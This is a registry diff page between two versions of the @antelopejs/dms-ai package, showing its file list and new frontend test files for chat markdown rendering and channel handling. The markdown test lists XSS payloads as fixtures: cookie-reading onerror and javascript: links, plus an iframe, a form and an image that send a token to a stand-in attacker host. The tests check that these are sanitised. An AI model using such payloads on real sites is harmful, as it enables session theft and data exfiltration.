@antelopejs/dms-ai 0.1.3 → 0.1.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (245) hide show
  1. package/README.md +48 -29
  2. package/dist/channels/bridge.d.ts +2 -8
  3. package/dist/channels/bridge.js +26 -42
  4. package/dist/channels/bridge.js.map +1 -1
  5. package/dist/channels/channel-service.d.ts +2 -2
  6. package/dist/channels/channel-service.js +12 -31
  7. package/dist/channels/channel-service.js.map +1 -1
  8. package/dist/channels/registry.d.ts +2 -2
  9. package/dist/channels/registry.js +7 -7
  10. package/dist/channels/registry.js.map +1 -1
  11. package/dist/config.d.ts +1 -0
  12. package/dist/config.js +8 -1
  13. package/dist/config.js.map +1 -1
  14. package/dist/constants/channels.d.ts +5 -10
  15. package/dist/constants/channels.js +6 -10
  16. package/dist/constants/channels.js.map +1 -1
  17. package/dist/constants/sidecar.d.ts +2 -1
  18. package/dist/constants/sidecar.js +3 -2
  19. package/dist/constants/sidecar.js.map +1 -1
  20. package/dist/index.js +8 -0
  21. package/dist/index.js.map +1 -1
  22. package/dist/lifecycle/build-id.d.ts +1 -0
  23. package/dist/lifecycle/build-id.js +32 -0
  24. package/dist/lifecycle/build-id.js.map +1 -0
  25. package/dist/lifecycle/sidecar-socket.d.ts +1 -1
  26. package/dist/lifecycle/sidecar-socket.js +2 -2
  27. package/dist/lifecycle/sidecar-socket.js.map +1 -1
  28. package/dist/lifecycle/spawn-sidecar.d.ts +0 -1
  29. package/dist/lifecycle/spawn-sidecar.js +5 -27
  30. package/dist/lifecycle/spawn-sidecar.js.map +1 -1
  31. package/dist/pages/settings/page.js.map +1 -1
  32. package/dist/routes/channels.d.ts +3 -3
  33. package/dist/routes/channels.js +11 -12
  34. package/dist/routes/channels.js.map +1 -1
  35. package/dist/routes/index.d.ts +0 -1
  36. package/dist/routes/index.js +0 -1
  37. package/dist/routes/index.js.map +1 -1
  38. package/frontend-vue/.prettierignore +3 -0
  39. package/frontend-vue/.prettierrc +10 -0
  40. package/frontend-vue/app/chat/components/ChatView.vue +582 -0
  41. package/frontend-vue/app/chat/components/ComposerInput.vue +742 -0
  42. package/frontend-vue/app/chat/components/ConnectionBanner.vue +105 -0
  43. package/frontend-vue/app/chat/components/ConversationDrawer.vue +266 -0
  44. package/frontend-vue/app/chat/components/MarkdownContent.vue +196 -0
  45. package/frontend-vue/app/chat/components/MessageList.vue +474 -0
  46. package/frontend-vue/app/chat/components/PermissionRequests.vue +323 -0
  47. package/frontend-vue/app/chat/components/QuestionPrompt.vue +275 -0
  48. package/frontend-vue/app/chat/components/QueuedMessages.vue +109 -0
  49. package/frontend-vue/app/chat/components/TodoList.vue +291 -0
  50. package/frontend-vue/app/chat/components/ToolCallEntry.vue +218 -0
  51. package/frontend-vue/app/chat/components/ToolCluster.vue +282 -0
  52. package/frontend-vue/app/chat/composables/useChatChannel.ts +116 -0
  53. package/frontend-vue/app/chat/composables/useConversation.ts +838 -0
  54. package/frontend-vue/app/chat/composables/useConversationId.ts +34 -0
  55. package/frontend-vue/app/chat/composables/useConversationList.ts +56 -0
  56. package/frontend-vue/app/chat/composables/usePermissionQueue.ts +59 -0
  57. package/frontend-vue/app/chat/composables/useQuestionQueue.ts +50 -0
  58. package/frontend-vue/app/chat/composables/useRunClock.ts +28 -0
  59. package/frontend-vue/app/chat/composables/useSettings.ts +67 -0
  60. package/frontend-vue/app/chat/constants/attachments.ts +16 -0
  61. package/frontend-vue/app/chat/constants/connection-banner.ts +7 -0
  62. package/frontend-vue/app/chat/constants/conversation-drawer.ts +13 -0
  63. package/frontend-vue/app/chat/constants/conversation.ts +75 -0
  64. package/frontend-vue/app/chat/constants/permissions.ts +50 -0
  65. package/frontend-vue/app/chat/constants/protocol.ts +48 -0
  66. package/frontend-vue/app/chat/constants/run-status.ts +50 -0
  67. package/frontend-vue/app/chat/constants/settings.ts +60 -0
  68. package/frontend-vue/app/chat/types/conversation.ts +87 -0
  69. package/frontend-vue/app/chat/types/permission.ts +7 -0
  70. package/frontend-vue/app/chat/types/question.ts +17 -0
  71. package/frontend-vue/app/chat/types/settings.ts +27 -0
  72. package/frontend-vue/app/chat/utils/attachments.ts +62 -0
  73. package/frontend-vue/app/chat/utils/format.ts +14 -0
  74. package/frontend-vue/app/chat/utils/ids.ts +34 -0
  75. package/frontend-vue/app/chat/utils/markdown.ts +188 -0
  76. package/frontend-vue/app/chat/utils/run-status.ts +90 -0
  77. package/frontend-vue/app/chat/utils/todos.ts +64 -0
  78. package/frontend-vue/app/chat/utils/tool-summary.ts +53 -0
  79. package/frontend-vue/app/components/ActivityView.vue +34 -34
  80. package/frontend-vue/app/components/ChatPanel.vue +276 -0
  81. package/frontend-vue/app/components/SettingsView.vue +127 -130
  82. package/frontend-vue/app/components/SkillsView.vue +55 -53
  83. package/frontend-vue/app/plugins/ai.client.ts +145 -129
  84. package/frontend-vue/app/runtime/assistant-session.ts +21 -0
  85. package/frontend-vue/app/runtime/backoff.ts +11 -14
  86. package/frontend-vue/app/runtime/channel-client.ts +130 -141
  87. package/frontend-vue/app/runtime/chat-transport.ts +25 -55
  88. package/frontend-vue/app/runtime/constants.ts +70 -60
  89. package/frontend-vue/app/runtime/current-page.ts +49 -15
  90. package/frontend-vue/app/runtime/event-stream.ts +35 -35
  91. package/frontend-vue/app/runtime/frame-router.ts +30 -0
  92. package/frontend-vue/app/runtime/header-action.ts +18 -18
  93. package/frontend-vue/app/runtime/host-commands.ts +57 -56
  94. package/frontend-vue/app/runtime/listeners.ts +31 -0
  95. package/frontend-vue/app/runtime/navigation-complete.ts +7 -7
  96. package/frontend-vue/app/runtime/overlay-prefs.ts +36 -36
  97. package/frontend-vue/app/runtime/panel-state.ts +88 -0
  98. package/frontend-vue/app/runtime/session-gate.ts +8 -8
  99. package/frontend-vue/app/runtime/shortcuts.ts +12 -12
  100. package/frontend-vue/app/runtime/sidecar-status.ts +61 -61
  101. package/frontend-vue/app/runtime/typed-message.ts +11 -0
  102. package/frontend-vue/dms.frontend.ts +12 -12
  103. package/frontend-vue/eslint.config.mjs +13 -13
  104. package/frontend-vue/package.json +11 -4
  105. package/frontend-vue/pnpm-lock.yaml +298 -96
  106. package/frontend-vue/tests/backoff.test.ts +26 -30
  107. package/frontend-vue/tests/channel-client.test.ts +187 -188
  108. package/frontend-vue/tests/chat/markdown.test.ts +271 -0
  109. package/frontend-vue/tests/chat/useChatChannel.test.ts +124 -0
  110. package/frontend-vue/tests/chat/useConversation.test.ts +283 -0
  111. package/frontend-vue/tests/chat-panel.test.ts +354 -0
  112. package/frontend-vue/tests/chat-transport.test.ts +84 -57
  113. package/frontend-vue/tests/host-commands.test.ts +126 -87
  114. package/frontend-vue/tests/navigation.test.ts +65 -34
  115. package/frontend-vue/tests/overlay-prefs.test.ts +49 -49
  116. package/frontend-vue/tests/panel-state.test.ts +58 -0
  117. package/frontend-vue/tests/session-gate.test.ts +33 -33
  118. package/frontend-vue/tests/sidecar-guest.test.ts +46 -46
  119. package/frontend-vue/tests/sidecar-status.test.ts +29 -29
  120. package/frontend-vue/tsconfig.chat.json +16 -0
  121. package/frontend-vue/vitest.config.ts +6 -4
  122. package/package.json +5 -5
  123. package/sidecar/dist/agent/effective-mode.d.ts +2 -2
  124. package/sidecar/dist/agent/effective-mode.js +1 -1
  125. package/sidecar/dist/agent/effective-mode.js.map +1 -1
  126. package/sidecar/dist/agent/host-context.js +7 -9
  127. package/sidecar/dist/agent/host-context.js.map +1 -1
  128. package/sidecar/dist/agent/permission-bus.d.ts +1 -1
  129. package/sidecar/dist/agent/permission-bus.js +2 -2
  130. package/sidecar/dist/agent/permission-bus.js.map +1 -1
  131. package/sidecar/dist/agent/provider.d.ts +2 -2
  132. package/sidecar/dist/agent/question-bus.d.ts +1 -1
  133. package/sidecar/dist/agent/question-bus.js +2 -2
  134. package/sidecar/dist/agent/question-bus.js.map +1 -1
  135. package/sidecar/dist/agent/runner.d.ts +2 -2
  136. package/sidecar/dist/agent/runner.js +24 -8
  137. package/sidecar/dist/agent/runner.js.map +1 -1
  138. package/sidecar/dist/agent/session.d.ts +2 -2
  139. package/sidecar/dist/agent/session.js +49 -9
  140. package/sidecar/dist/agent/session.js.map +1 -1
  141. package/sidecar/dist/agent/switching-runner.js +10 -5
  142. package/sidecar/dist/agent/switching-runner.js.map +1 -1
  143. package/sidecar/dist/agent/turn-end-reasons.d.ts +2 -0
  144. package/sidecar/dist/agent/turn-end-reasons.js +6 -1
  145. package/sidecar/dist/agent/turn-end-reasons.js.map +1 -1
  146. package/sidecar/dist/constants/agent.d.ts +4 -1
  147. package/sidecar/dist/constants/agent.js +4 -1
  148. package/sidecar/dist/constants/agent.js.map +1 -1
  149. package/sidecar/dist/constants/cli.d.ts +0 -1
  150. package/sidecar/dist/constants/cli.js +0 -1
  151. package/sidecar/dist/constants/cli.js.map +1 -1
  152. package/sidecar/dist/constants/codex.d.ts +5 -2
  153. package/sidecar/dist/constants/codex.js +5 -2
  154. package/sidecar/dist/constants/codex.js.map +1 -1
  155. package/sidecar/dist/constants/http.d.ts +0 -9
  156. package/sidecar/dist/constants/http.js +0 -19
  157. package/sidecar/dist/constants/http.js.map +1 -1
  158. package/sidecar/dist/constants/mcp.d.ts +1 -1
  159. package/sidecar/dist/constants/mcp.js +1 -1
  160. package/sidecar/dist/constants/mcp.js.map +1 -1
  161. package/sidecar/dist/constants/paths.d.ts +0 -1
  162. package/sidecar/dist/constants/paths.js +0 -1
  163. package/sidecar/dist/constants/paths.js.map +1 -1
  164. package/sidecar/dist/constants/ws.d.ts +3 -4
  165. package/sidecar/dist/constants/ws.js +3 -4
  166. package/sidecar/dist/constants/ws.js.map +1 -1
  167. package/sidecar/dist/index.d.ts +0 -1
  168. package/sidecar/dist/index.js +6 -10
  169. package/sidecar/dist/index.js.map +1 -1
  170. package/sidecar/dist/mcp/tools/find-pages-using.js +5 -10
  171. package/sidecar/dist/mcp/tools/find-pages-using.js.map +1 -1
  172. package/sidecar/dist/mcp/types.d.ts +1 -1
  173. package/sidecar/dist/pages/page-filepath.d.ts +4 -0
  174. package/sidecar/dist/pages/page-filepath.js +28 -0
  175. package/sidecar/dist/pages/page-filepath.js.map +1 -0
  176. package/sidecar/dist/prompts/agent.d.ts +1 -1
  177. package/sidecar/dist/prompts/agent.js +1 -1
  178. package/sidecar/dist/prompts/agent.js.map +1 -1
  179. package/sidecar/dist/protocol/events.js +2 -2
  180. package/sidecar/dist/protocol/events.js.map +1 -1
  181. package/sidecar/dist/protocol/messages.d.ts +4 -15
  182. package/sidecar/dist/protocol/messages.js +4 -11
  183. package/sidecar/dist/protocol/messages.js.map +1 -1
  184. package/sidecar/dist/providers/claude/config.d.ts +2 -2
  185. package/sidecar/dist/providers/claude/config.js +2 -2
  186. package/sidecar/dist/providers/claude/config.js.map +1 -1
  187. package/sidecar/dist/providers/claude/provider.js +1 -1
  188. package/sidecar/dist/providers/claude/provider.js.map +1 -1
  189. package/sidecar/dist/providers/codex/config.d.ts +3 -2
  190. package/sidecar/dist/providers/codex/config.js +3 -3
  191. package/sidecar/dist/providers/codex/config.js.map +1 -1
  192. package/sidecar/dist/providers/codex/process.js +107 -74
  193. package/sidecar/dist/providers/codex/process.js.map +1 -1
  194. package/sidecar/dist/providers/codex/provider.js +68 -31
  195. package/sidecar/dist/providers/codex/provider.js.map +1 -1
  196. package/sidecar/dist/providers/codex/skills.d.ts +1 -0
  197. package/sidecar/dist/providers/codex/skills.js +4 -1
  198. package/sidecar/dist/providers/codex/skills.js.map +1 -1
  199. package/sidecar/dist/providers/codex/stop.d.ts +4 -0
  200. package/sidecar/dist/providers/codex/stop.js +71 -0
  201. package/sidecar/dist/providers/codex/stop.js.map +1 -0
  202. package/sidecar/dist/server/{iframe-socket-registry.d.ts → chat-socket-registry.d.ts} +3 -2
  203. package/sidecar/dist/server/{iframe-socket-registry.js → chat-socket-registry.js} +4 -3
  204. package/sidecar/dist/server/chat-socket-registry.js.map +1 -0
  205. package/sidecar/dist/server/client-auth.js +2 -14
  206. package/sidecar/dist/server/client-auth.js.map +1 -1
  207. package/sidecar/dist/server/host-command-router.d.ts +5 -0
  208. package/sidecar/dist/server/host-command-router.js +4 -0
  209. package/sidecar/dist/server/host-command-router.js.map +1 -0
  210. package/sidecar/dist/server/host-socket-registry.d.ts +1 -1
  211. package/sidecar/dist/server/host-socket-registry.js +16 -13
  212. package/sidecar/dist/server/host-socket-registry.js.map +1 -1
  213. package/sidecar/dist/server/http.d.ts +0 -1
  214. package/sidecar/dist/server/http.js +1 -44
  215. package/sidecar/dist/server/http.js.map +1 -1
  216. package/sidecar/dist/server/routing.d.ts +5 -6
  217. package/sidecar/dist/server/routing.js +18 -28
  218. package/sidecar/dist/server/routing.js.map +1 -1
  219. package/sidecar/dist/server/ws.d.ts +2 -2
  220. package/sidecar/dist/server/ws.js +41 -39
  221. package/sidecar/dist/server/ws.js.map +1 -1
  222. package/sidecar/dist/state/host-state.d.ts +10 -2
  223. package/sidecar/dist/state/host-state.js +13 -3
  224. package/sidecar/dist/state/host-state.js.map +1 -1
  225. package/sidecar/dist/state/settings-store.js +2 -2
  226. package/sidecar/dist/state/settings-store.js.map +1 -1
  227. package/sidecar/dist/state/settings-types.d.ts +3 -3
  228. package/sidecar/dist/state/settings-types.js +1 -1
  229. package/sidecar/dist/state/settings-types.js.map +1 -1
  230. package/sidecar/package.json +3 -5
  231. package/dist/chatbox/passthrough.d.ts +0 -3
  232. package/dist/chatbox/passthrough.js +0 -53
  233. package/dist/chatbox/passthrough.js.map +0 -1
  234. package/dist/constants/chatbox.d.ts +0 -10
  235. package/dist/constants/chatbox.js +0 -35
  236. package/dist/constants/chatbox.js.map +0 -1
  237. package/dist/routes/chatbox.d.ts +0 -7
  238. package/dist/routes/chatbox.js +0 -47
  239. package/dist/routes/chatbox.js.map +0 -1
  240. package/frontend-vue/app/runtime/overlay.ts +0 -400
  241. package/frontend-vue/app/runtime/theme-bridge.ts +0 -189
  242. package/sidecar/chatbox/dist/assets/index-C8u7mkHn.css +0 -1
  243. package/sidecar/chatbox/dist/assets/index-tdZvY7ee.js +0 -52
  244. package/sidecar/chatbox/dist/index.html +0 -13
  245. package/sidecar/dist/server/iframe-socket-registry.js.map +0 -1
@@ -0,0 +1,271 @@
1
+ import { describe, expect, it } from "vitest";
2
+ import {
3
+ createIncrementalMarkdown,
4
+ renderMarkdown,
5
+ } from "../../app/chat/utils/markdown";
6
+
7
+ /** The only markup model output may bring into the dashboard's document. */
8
+ const ALLOWED_ELEMENTS = new Set([
9
+ "a",
10
+ "blockquote",
11
+ "br",
12
+ "code",
13
+ "del",
14
+ "em",
15
+ "h1",
16
+ "h2",
17
+ "h3",
18
+ "h4",
19
+ "h5",
20
+ "h6",
21
+ "hr",
22
+ "li",
23
+ "ol",
24
+ "p",
25
+ "pre",
26
+ "s",
27
+ "strong",
28
+ "table",
29
+ "tbody",
30
+ "td",
31
+ "th",
32
+ "thead",
33
+ "tr",
34
+ "ul",
35
+ ]);
36
+ const ALLOWED_ATTRIBUTES = new Set(["href", "title", "target", "rel", "start"]);
37
+ const SAFE_HREF = /^(?:https?:|mailto:|\/(?![/\\])|#)/i;
38
+
39
+ function renderInDocument(source: string): HTMLElement {
40
+ const host = document.createElement("div");
41
+ host.innerHTML = renderMarkdown(source);
42
+ return host;
43
+ }
44
+
45
+ /**
46
+ * Walks what the browser would build from the HTML: whatever the model wrote,
47
+ * only allowed elements and attributes, and links that cannot run code. What
48
+ * was refused stays on screen as text, which is harmless.
49
+ */
50
+ function expectHarmless(html: string): void {
51
+ const host = document.createElement("div");
52
+ host.innerHTML = html;
53
+ for (const element of host.querySelectorAll("*")) {
54
+ expect(ALLOWED_ELEMENTS.has(element.localName), element.localName).toBe(
55
+ true,
56
+ );
57
+ for (const attribute of element.attributes) {
58
+ expect(ALLOWED_ATTRIBUTES.has(attribute.name), attribute.name).toBe(true);
59
+ }
60
+ const href = element.getAttribute("href");
61
+ if (href !== null) expect(href).toMatch(SAFE_HREF);
62
+ }
63
+ }
64
+
65
+ describe("model output renders as inert markup", () => {
66
+ const injections: Record<string, string> = {
67
+ "a raw script": "<script>fetch('/api/_auth/session')</script>",
68
+ "an image with an error handler":
69
+ '<img src=x onerror="alert(document.cookie)">',
70
+ "an svg with a load handler": "<svg onload=alert(1)><circle/></svg>",
71
+ "an iframe": '<iframe src="https://attacker.example"></iframe>',
72
+ "a style block dressing up the page":
73
+ "<style>body{position:fixed;inset:0;background:red}</style>",
74
+ "a form": '<form action="https://attacker.example"><input name=q></form>',
75
+ "a details toggle": "<details open ontoggle=alert(1)>x</details>",
76
+ "a javascript link": "[click](javascript:alert(document.cookie))",
77
+ "a mixed-case javascript link": "[click](JaVaScRiPt:alert(1))",
78
+ "an entity-encoded javascript link": "[click](&#106;avascript:alert(1))",
79
+ "a tab-split javascript link": "[click](java\tscript:alert(1))",
80
+ "a vbscript link": "[click](vbscript:msgbox(1))",
81
+ "a data: html link":
82
+ "[click](data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==)",
83
+ "a javascript autolink": "<javascript:alert(1)>",
84
+ "a javascript reference link": "[click][x]\n\n[x]: javascript:alert(1)",
85
+ "a title breaking out of its attribute":
86
+ '[a](https://example.com "x\\" onmouseover=\\"alert(1)")',
87
+ "a raw anchor": '<a href="javascript:alert(1)">x</a>',
88
+ "a fenced code language dressing the block": "```fixed inset-0\ncode\n```",
89
+ "a remote markdown image":
90
+ "![secret](https://attacker.example/leak.png?token=SECRET)",
91
+ "a relative markdown image": "![events](/ai/channel/events)",
92
+ "a data image": "![x](data:image/png;base64,iVBORw0KGgo=)",
93
+ "a table alignment": "| a |\n|:-:|\n| b |",
94
+ };
95
+
96
+ for (const [name, source] of Object.entries(injections)) {
97
+ it(`neutralises ${name}`, () => {
98
+ expectHarmless(renderMarkdown(source));
99
+ });
100
+ }
101
+
102
+ it("shows a refused link as its text, with nothing to click", () => {
103
+ const host = renderInDocument("[click](javascript:alert(document.cookie))");
104
+ expect(host.querySelector("a")).toBeNull();
105
+ expect(host.textContent).toContain("[click]");
106
+ });
107
+
108
+ it("keeps a quote in a link title inside the attribute", () => {
109
+ const host = renderInDocument(
110
+ '[a](https://example.com "x\\" onmouseover=\\"alert(1)")',
111
+ );
112
+ const link = host.querySelector("a");
113
+ expect(link?.getAttribute("onmouseover")).toBeNull();
114
+ expect(link?.getAttribute("title")).toBe('x" onmouseover="alert(1)');
115
+ });
116
+
117
+ it("keeps raw HTML as visible text rather than markup", () => {
118
+ const host = renderInDocument("<b>bold</b> <script>x()</script>");
119
+ expect(host.querySelector("b, script")).toBeNull();
120
+ expect(host.textContent).toContain("<b>bold</b>");
121
+ });
122
+
123
+ it("turns an image into a link to follow, so nothing is fetched on its own", () => {
124
+ const host = renderInDocument(
125
+ "![a chart](https://example.com/chart.png?q=1)",
126
+ );
127
+ expect(host.querySelector("img")).toBeNull();
128
+ const link = host.querySelector("a");
129
+ expect(link?.getAttribute("href")).toBe(
130
+ "https://example.com/chart.png?q=1",
131
+ );
132
+ expect(link?.textContent).toBe("a chart (example.com)");
133
+ });
134
+
135
+ it("names where an image link leads, so a harmless caption cannot hide it", () => {
136
+ const host = renderInDocument(
137
+ "![Click to view](https://attacker.example/leak.png?token=SECRET) ![](https://cdn.example/x.png) ![events](/ai/channel/events)",
138
+ );
139
+ expect(
140
+ [...host.querySelectorAll("a")].map((link) => link.textContent),
141
+ ).toEqual([
142
+ "Click to view (attacker.example)",
143
+ "cdn.example",
144
+ "events (/ai/channel/events)",
145
+ ]);
146
+ });
147
+
148
+ it("opens every link in a new tab that cannot reach back to the dashboard", () => {
149
+ const host = renderInDocument(
150
+ "[docs](https://antelopejs.com) and https://example.com/page",
151
+ );
152
+ const links = [...host.querySelectorAll("a")];
153
+ expect(links).toHaveLength(2);
154
+ for (const link of links) {
155
+ expect(link.getAttribute("target")).toBe("_blank");
156
+ expect(link.getAttribute("rel")).toBe("noopener noreferrer");
157
+ }
158
+ });
159
+
160
+ it("keeps the safe links: https, mailto and pages of the dashboard", () => {
161
+ const host = renderInDocument(
162
+ "[a](https://example.com) [b](mailto:dev@example.com) [c](/modules/ai/settings)",
163
+ );
164
+ expect(
165
+ [...host.querySelectorAll("a")].map((link) => link.getAttribute("href")),
166
+ ).toEqual([
167
+ "https://example.com",
168
+ "mailto:dev@example.com",
169
+ "/modules/ai/settings",
170
+ ]);
171
+ });
172
+
173
+ it("still renders the markdown an answer is made of", () => {
174
+ const host = renderInDocument(
175
+ "# Title\n\n- **bold** and *em* and ~~gone~~\n- `code`\n\n```ts\nconst a = 1\n```\n\n> quote\n\n| a | b |\n|---|---|\n| 1 | 2 |\n\n---",
176
+ );
177
+ for (const tag of [
178
+ "h1",
179
+ "ul",
180
+ "strong",
181
+ "em",
182
+ "s",
183
+ "code",
184
+ "pre",
185
+ "blockquote",
186
+ "table",
187
+ "hr",
188
+ ]) {
189
+ expect(host.querySelector(tag), tag).not.toBeNull();
190
+ }
191
+ });
192
+
193
+ it("does not touch the sanitizer the rest of the dashboard shares", async () => {
194
+ const shared = (await import("dompurify")).default;
195
+ renderMarkdown("[x](https://example.com)");
196
+ expect(shared.sanitize('<a href="https://example.com">x</a>')).not.toMatch(
197
+ /target=/,
198
+ );
199
+ });
200
+ });
201
+
202
+ describe("a streaming answer renders incrementally", () => {
203
+ const ANSWER =
204
+ "# Plan\n\nFirst paragraph with **bold** text.\n\n- one\n- two\n\n still two\n- three\n\n```ts\nconst x = 1;\n\nconst y = 2;\n```\n\n| a | b |\n|---|---|\n| 1 | 2 |\n\nLast paragraph, [a link](https://example.com).";
205
+
206
+ function streamInChunks(text: string, size: number) {
207
+ const incremental = createIncrementalMarkdown();
208
+ let last = { settled: [] as readonly string[], open: "" };
209
+ for (let end = size; end < text.length + size; end += size) {
210
+ last = incremental.render(text.slice(0, Math.min(end, text.length)));
211
+ }
212
+ return last;
213
+ }
214
+
215
+ for (const size of [1, 3, 7, 50]) {
216
+ it(`ends with what a whole render gives, in chunks of ${size}`, () => {
217
+ const { settled, open } = streamInChunks(ANSWER, size);
218
+ expect([...settled, open].join("")).toBe(renderMarkdown(ANSWER));
219
+ });
220
+ }
221
+
222
+ it("renders each settled block once, however many chunks follow it", () => {
223
+ const incremental = createIncrementalMarkdown();
224
+ const first = incremental.render("Settled paragraph.\n\nOpen");
225
+ const later = incremental.render("Settled paragraph.\n\nOpen and growing");
226
+ expect(first.settled).toEqual(["<p>Settled paragraph.</p>\n"]);
227
+ expect(later.settled[0]).toBe(first.settled[0]);
228
+ expect(later.open).toBe("<p>Open and growing</p>\n");
229
+ });
230
+
231
+ it("keeps a code block open until its fence closes", () => {
232
+ const incremental = createIncrementalMarkdown();
233
+ const open = incremental.render("```ts\nconst a = 1;\n\nconst b = 2;");
234
+ expect(open.settled).toEqual([]);
235
+ const closed = incremental.render(
236
+ "```ts\nconst a = 1;\n\nconst b = 2;\n```\n\nAfter.",
237
+ );
238
+ expect(closed.settled).toHaveLength(1);
239
+ expect(closed.settled[0]).toContain("const b = 2;");
240
+ expect(closed.open).toBe("<p>After.</p>\n");
241
+ });
242
+
243
+ it("starts over when the text is replaced rather than extended", () => {
244
+ const incremental = createIncrementalMarkdown();
245
+ incremental.render("One.\n\nTwo");
246
+ const replaced = incremental.render("Other.\n\nText");
247
+ expect(replaced.settled).toEqual(["<p>Other.</p>\n"]);
248
+ });
249
+
250
+ it("sanitizes what it renders incrementally too", () => {
251
+ const incremental = createIncrementalMarkdown();
252
+ const { settled, open } = incremental.render(
253
+ "[x](javascript:alert(1))\n\n![y](https://attacker.example/?q=1)",
254
+ );
255
+ expectHarmless([...settled, open].join(""));
256
+ });
257
+
258
+ it("keeps its work per chunk bounded by the last block, not the whole answer", () => {
259
+ const paragraphs = Array.from(
260
+ { length: 400 },
261
+ (_, index) => `Paragraph ${index} with some **words** in it.`,
262
+ ).join("\n\n");
263
+ const incremental = createIncrementalMarkdown();
264
+ let renderedChars = 0;
265
+ for (let end = 40; end <= paragraphs.length; end += 40) {
266
+ const { open } = incremental.render(paragraphs.slice(0, end));
267
+ renderedChars += open.length;
268
+ }
269
+ expect(renderedChars).toBeLessThan(paragraphs.length * 5);
270
+ });
271
+ });
@@ -0,0 +1,124 @@
1
+ import { afterEach, describe, expect, it } from "vitest";
2
+ import {
3
+ type ChatChannel,
4
+ createChatChannel,
5
+ } from "../../app/chat/composables/useChatChannel";
6
+ import {
7
+ CHAT_ROLE,
8
+ CLIENT_MESSAGE_TYPES,
9
+ CONNECTION_STATUSES,
10
+ SERVER_EVENT_TYPES,
11
+ } from "../../app/chat/constants/protocol";
12
+ import type { ChannelStatus } from "../../app/runtime/channel-client";
13
+ import { createChatTransport } from "../../app/runtime/chat-transport";
14
+
15
+ const CONVERSATION_ID = "conv-channel-1";
16
+
17
+ const HELLO = {
18
+ type: CLIENT_MESSAGE_TYPES.HELLO,
19
+ role: CHAT_ROLE,
20
+ conversationId: CONVERSATION_ID,
21
+ };
22
+
23
+ interface FakeStream {
24
+ sent: unknown[];
25
+ reconnects: number;
26
+ status: ChannelStatus;
27
+ hub: ReturnType<typeof createChatTransport>;
28
+ }
29
+
30
+ /** The dashboard's side: a stream whose status the test drives. */
31
+ function fakeStream(status: ChannelStatus): FakeStream {
32
+ const stream: FakeStream = {
33
+ sent: [],
34
+ reconnects: 0,
35
+ status,
36
+ hub: createChatTransport({
37
+ send: (msg) => {
38
+ if (stream.status !== CONNECTION_STATUSES.CONNECTED) return false;
39
+ stream.sent.push(msg);
40
+ return true;
41
+ },
42
+ reconnect: () => {
43
+ stream.reconnects += 1;
44
+ },
45
+ getStatus: () => stream.status,
46
+ }),
47
+ };
48
+ return stream;
49
+ }
50
+
51
+ let channel: ChatChannel | undefined;
52
+
53
+ function open(stream: FakeStream): ChatChannel {
54
+ channel = createChatChannel({
55
+ transport: stream.hub.transport,
56
+ getConversationId: () => CONVERSATION_ID,
57
+ });
58
+ channel.start();
59
+ return channel;
60
+ }
61
+
62
+ afterEach(() => {
63
+ channel?.stop();
64
+ channel = undefined;
65
+ });
66
+
67
+ describe("the chat's side of the dashboard's stream", () => {
68
+ it("hands the chat every message meant for it, a running turn's progress included", () => {
69
+ const stream = fakeStream(CONNECTION_STATUSES.CONNECTED);
70
+ const received: unknown[] = [];
71
+ open(stream).result.onMessage((msg) => received.push(msg));
72
+ const progress = {
73
+ type: SERVER_EVENT_TYPES.RUN_PROGRESS,
74
+ conversationId: CONVERSATION_ID,
75
+ activity: "tool",
76
+ detail: "Write",
77
+ elapsedMs: 5_000,
78
+ idleMs: 0,
79
+ };
80
+ stream.hub.deliver(progress);
81
+ expect(received).toEqual([progress]);
82
+ });
83
+
84
+ it("says hello with its conversation when it attaches and on every new connection", () => {
85
+ const stream = fakeStream(CONNECTION_STATUSES.CONNECTED);
86
+ open(stream);
87
+ stream.hub.announceReady();
88
+ expect(stream.sent).toEqual([HELLO, HELLO]);
89
+ });
90
+
91
+ it("tells the chat a message did not leave while the stream is down", () => {
92
+ const stream = fakeStream(CONNECTION_STATUSES.RECONNECTING);
93
+ const { result } = open(stream);
94
+ expect(result.isConnected.value).toBe(false);
95
+ expect(result.send({ type: CLIENT_MESSAGE_TYPES.INTERRUPT_TURN })).toBe(
96
+ false,
97
+ );
98
+ stream.status = CONNECTION_STATUSES.CONNECTED;
99
+ stream.hub.announceStatus(CONNECTION_STATUSES.CONNECTED);
100
+ expect(result.isConnected.value).toBe(true);
101
+ expect(result.send({ type: CLIENT_MESSAGE_TYPES.INTERRUPT_TURN })).toBe(
102
+ true,
103
+ );
104
+ });
105
+
106
+ it("reconnects the dashboard's stream when the chat asks, as the stalled-run notice does", () => {
107
+ const stream = fakeStream(CONNECTION_STATUSES.CONNECTED);
108
+ open(stream).result.reconnect();
109
+ expect(stream.reconnects).toBe(1);
110
+ });
111
+
112
+ it("hands nothing over and sends nothing once stopped", () => {
113
+ const stream = fakeStream(CONNECTION_STATUSES.CONNECTED);
114
+ const received: unknown[] = [];
115
+ const opened = open(stream);
116
+ opened.result.onMessage((msg) => received.push(msg));
117
+ opened.stop();
118
+ stream.hub.deliver({ type: SERVER_EVENT_TYPES.RUN_DONE });
119
+ expect(received).toEqual([]);
120
+ expect(opened.result.send({ type: CLIENT_MESSAGE_TYPES.HELLO })).toBe(
121
+ false,
122
+ );
123
+ });
124
+ });
@@ -0,0 +1,283 @@
1
+ import { describe, expect, it } from "vitest";
2
+ import { ref } from "vue";
3
+ import { useConversation } from "../../app/chat/composables/useConversation";
4
+ import {
5
+ MESSAGE_ROLES,
6
+ NOT_SENT_MESSAGE,
7
+ RETRY_NEEDS_FILES_MESSAGE,
8
+ STOP_NOT_DELIVERED_MESSAGE,
9
+ TOOL_CUT_SHORT_RESULT,
10
+ TOOL_STATUS,
11
+ } from "../../app/chat/constants/conversation";
12
+ import {
13
+ CLIENT_MESSAGE_TYPES,
14
+ SERVER_EVENT_TYPES,
15
+ } from "../../app/chat/constants/protocol";
16
+ import {
17
+ ACTIVITY_KINDS,
18
+ QUIET_NOTICE_AFTER_MS,
19
+ } from "../../app/chat/constants/run-status";
20
+ import type { RunProgress } from "../../app/chat/types/conversation";
21
+ import type { PendingAttachment } from "../../app/chat/utils/attachments";
22
+ import { isAgentQuiet } from "../../app/chat/utils/run-status";
23
+
24
+ const CONVERSATION_ID = "conv-chat-1";
25
+ const FILE_DATA = "PGh0bWw+PC9odG1sPg==";
26
+
27
+ interface Harness {
28
+ conversation: ReturnType<typeof useConversation>;
29
+ sent: Record<string, unknown>[];
30
